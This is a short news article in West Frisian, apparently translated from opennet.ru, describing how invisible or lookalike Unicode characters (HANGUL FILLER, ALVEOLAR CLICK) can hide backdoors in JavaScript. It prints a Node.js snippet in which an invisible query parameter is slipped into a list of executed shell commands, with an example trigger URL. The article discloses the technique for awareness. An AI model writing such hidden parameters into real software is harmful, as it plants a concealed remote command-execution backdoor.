Unsichtbere unicode-tekens brûke om aksjes yn JavaScript-koade te ferbergjen

Nei de Trojan Source-oanfalmetoade, dy't basearre is op it brûken fan Unicode-tekens dy't de werjeftefolchoarder fan bidirectionele tekst feroarje, is in oare technyk publisearre foar it ynfieren fan ferburgen aksjes, fan tapassing op JavaScript-koade. De nije metoade is basearre op it gebrûk fan it unicode-karakter "ㅤ" (koade 0x3164, "HANGUL FILLER"), dat heart ta de kategory fan letters, mar hat gjin sichtbere ynhâld. De Unicode-kategory wêryn dit karakter heart is tastien sûnt de ECMAScript 2015-spesifikaasje foar gebrûk yn JavaScript-fariabelenammen, wêrtroch it mooglik is om ûnsichtbere fariabelen of nije fariabelen te meitsjen dy't net te ûnderskieden binne fan oare fariabelen yn populêre koade-bewurkers lykas Notepad ++ en VS Code.

As foarbyld wurdt de koade foar it Node.js-platfoarm jûn, wêryn, mei in fariabele dy't bestiet út ien karakter "ㅤ", in efterdoar ferburgen is dy't it útfieren fan de koade oantsjutte troch de oanfaller mooglik makket: app.get('/ network_health', async (req, res) => {const {timeout,ㅤ} = req.query; // yn feite seit it "const {timeout,ㅤ \u3164}" const checkCommands = ['ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // de komma wurdt folge troch it karakter \u3164 ];

Op it earste each wurdt allinich de timeoutwearde troch de eksterne parameter trochjûn, en de array mei de út te fieren kommando's befettet in harmless fêste list. Mar yn feite, nei de timeout-fariabele, wurdt de wearde fan in oare ûnsichtbere fariabele mei de karakterkoade \u3164 tawiisd, dy't ek ferfongen wurdt yn 'e array fan útfierbere kommando's. Dus, as sa'n ûntwerp beskikber is, kin in oanfaller in fersyk stjoere lykas "https://host:8080/network_health?%E3%85%A4=command" om de efterdoar te aktivearjen en har koade út te fieren.

In oar foarbyld is it karakter "ǃ" (ALVEOLAR KLIK), dat kin brûkt wurde om it oansjen fan in útropteken te jaan. Bygelyks, de útdrukking "if (omjouwingǃ = ENV_PROD) {" doe't útfierd yn Node.js 14 sil altyd wêze wier, sûnt it net kontrolearret foar ferskil, mar jout de wearde fan ENV_PROD oan de fariabele "omjouwingǃ". Oare misleidende unicode-tekens omfetsje "/", "−", "+", "⩵", "❨", "⫽", "꓿" en "∗".

Boarne: opennet.ru

Add a comment